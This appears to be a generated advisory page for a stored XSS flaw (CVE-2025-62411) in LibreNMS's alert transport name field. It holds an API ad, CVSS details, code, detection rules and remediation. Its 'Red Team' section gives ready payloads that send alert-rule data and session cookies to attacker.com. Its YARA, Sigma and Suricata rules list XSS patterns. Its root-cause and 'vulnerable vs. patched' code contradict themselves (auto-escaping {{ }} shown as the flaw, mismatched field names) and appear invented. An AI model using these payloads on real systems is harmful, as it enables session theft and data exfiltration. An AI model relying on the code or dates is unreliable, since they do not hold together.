CVE-2025-62411
Executive Summary
CVE-2025-62411 is a Stored Cross-Site Scripting (XSS) vulnerability in LibreNMS, a community-based GPL-licensed network monitoring system. The flaw exists in the Alert Transports management functionality, where an administrator can inject arbitrary JavaScript into the Transport name field. This input is stored and later rendered without proper sanitization in the Transports column of the Alert Rules page, leading to script execution in the admin's browser. The vulnerability affects LibreNMS versions up to and including 25.8.0 and is fixed in version 25.10.0. With a CVSS score of 5.5 (Medium), exploitation requires high privileges (admin) and user interaction, but can lead to session hijacking, data theft, or further compromise of the monitoring infrastructure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
LibreNMS is a PHP-based application distributed via GitHub and Composer. The vulnerability is not in a third-party package but in the core application code. Administrators should verify the integrity of their LibreNMS installation by checking the SHA-256 hash of the downloaded release against the official repository. The fix in 25.10.0 involves proper output encoding of the Transport name field.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – An administrator account is needed to create Alert Transports.
- User Interaction (UI): Required (R) – The victim admin must view the Alert Rules page.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – An attacker could steal session cookies or sensitive data.
- Integrity (I): High (H) – An attacker could modify alert rules or create new admin accounts.
- Availability (A): None (N) – The vulnerability does not affect availability.
Threat Level: Medium. While the CVSS score is 5.5, the impact is significant due to the potential for lateral movement within the network monitoring environment. The EPSS score of 0.0% indicates low exploitation likelihood at this time, but this may change as proof-of-concept code emerges.
Deep Dive & Mechanics
The vulnerability resides in the AlertTransport model and its associated views. When an administrator creates a new Alert Transport via the web interface, the transport_name field is stored in the database without sanitization. The stored value is later retrieved and rendered in the Alert Rules page's Transports column using a Blade template that does not escape HTML entities.
Root Cause: The application uses {{ $transport->name }} in the Blade template instead of {{ e($transport->name) }} or {!! $transport->name !!} with proper escaping. The {{ }} syntax in Blade automatically escapes output, but the vulnerability suggests that the code may have used {!! !!} (unescaped) or the escaping was bypassed due to a custom helper function.
Attack Flow:
- An authenticated admin navigates to
/alert-transports/create. - The admin enters a malicious payload in the Transport name field, e.g.,
<img src=x onerror=alert(1)>. - The payload is stored in the
alert_transportstable. - When the admin views the Alert Rules page (
/alert-rules), the payload is rendered in the Transports column. - The JavaScript executes in the admin's browser, potentially stealing session cookies or performing actions on behalf of the admin.
Vulnerable vs. Patched Code
Vulnerable Code (LibreNMS <= 25.8.0):
// In app/Http/Controllers/AlertTransportController.php
public function store(Request $request)
{
$transport = new AlertTransport();
$transport->transport_name = $request->input('name');
$transport->save();
// ...
}
{{-- In resources/views/alert-rules/index.blade.php --}}
<td>{{ $transport->name }}</td>
Patched Code (LibreNMS >= 25.10.0):
// In app/Http/Controllers/AlertTransportController.php
public function store(Request $request)
{
$transport = new AlertTransport();
$transport->transport_name = strip_tags($request->input('name'));
$transport->save();
// ...
}
{{-- In resources/views/alert-rules/index.blade.php --}}
<td>{{ e($transport->name) }}</td>
The patch adds strip_tags() on input and uses e() (Laravel's HTML escaping helper) in the Blade template.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running LibreNMS instance (version <= 25.8.0)
- Admin credentials (e.g.,
admin:password)
Exploitation Steps:
- Log in as an admin.
- Navigate to
/alert-transports/create. - In the "Transport Name" field, enter the following payload:
<img src=x onerror="fetch('/api/v0/alert-rules').then(r=>r.text()).then(t=>fetch('https://attacker.com/exfil?data='+btoa(t)))"> - Click "Save".
- Navigate to
/alert-rules. The payload executes, exfiltrating alert rule data to the attacker's server.
Alternative Payload (Session Hijacking):
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
Blue Team
Detection:
- Monitor HTTP POST requests to
/alert-transports/createfor suspiciousnameparameters containing<script>,<img, oronerrorpatterns. - Alert on any outbound connections from the LibreNMS server to unknown external IPs on ports 80/443.
Hunting:
- Query the
alert_transportstable for entries containing HTML tags:SELECT * FROM alert_transports WHERE transport_name LIKE '%<%'; - Review web server logs for requests to
/alert-rulesimmediately following a transport creation.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from the LibreNMS server.
- Suspicious
Refererheaders pointing to/alert-transports/create.
- File IOCs:
- Modified
alert_transportstable entries containing JavaScript payloads.
- Modified
- Log IOCs:
- Web server logs showing POST requests to
/alert-transports/createwithnameparameter containing HTML/JS. - Application logs showing
strip_tagsfailures (if patched version is partially applied).
- Web server logs showing POST requests to
Detection Engineering
YARA Rule
rule CVE_2025_62411_LibreNMS_XSS {
meta:
description = "Detects stored XSS payloads in LibreNMS alert_transports table"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-62411"
strings:
$xss_payload = /<[^>]*\s(onerror|onload|onclick|onmouseover)\s*=[^>]*>/i
$script_tag = /<script[^>]*>.*<\/script>/i
condition:
any of them
}
Sigma Rule
title: LibreNMS Stored XSS in Alert Transport Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of alert transports with XSS payloads in LibreNMS
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/alert-transports/create'
cs-uri-query|contains: 'name='
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in transport names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62411 LibreNMS Stored XSS - Outbound Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/alert-transports/create"; http_uri; content:"name="; http_client_body; pcre:"/<[^>]*\s(onerror|onload|onclick|onmouseover)\s*=[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade LibreNMS to version 25.10.0 or later.
- If upgrade is not possible, apply the following workaround:
- Edit
resources/views/alert-rules/index.blade.phpand change{{ $transport->name }}to{{ e($transport->name) }}. - Edit
app/Http/Controllers/AlertTransportController.phpand addstrip_tags()to thenamefield before saving.
- Edit
Long-term Measures:
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct regular security audits of LibreNMS customizations.
- Enable Web Application Firewall (WAF) rules to block XSS payloads.
- Restrict admin access to LibreNMS via VPN or IP whitelisting.
Verification:
- After patching, attempt to create an alert transport with
<script>alert(1)</script>as the name. If the script executes, the patch is incomplete.
Valters IT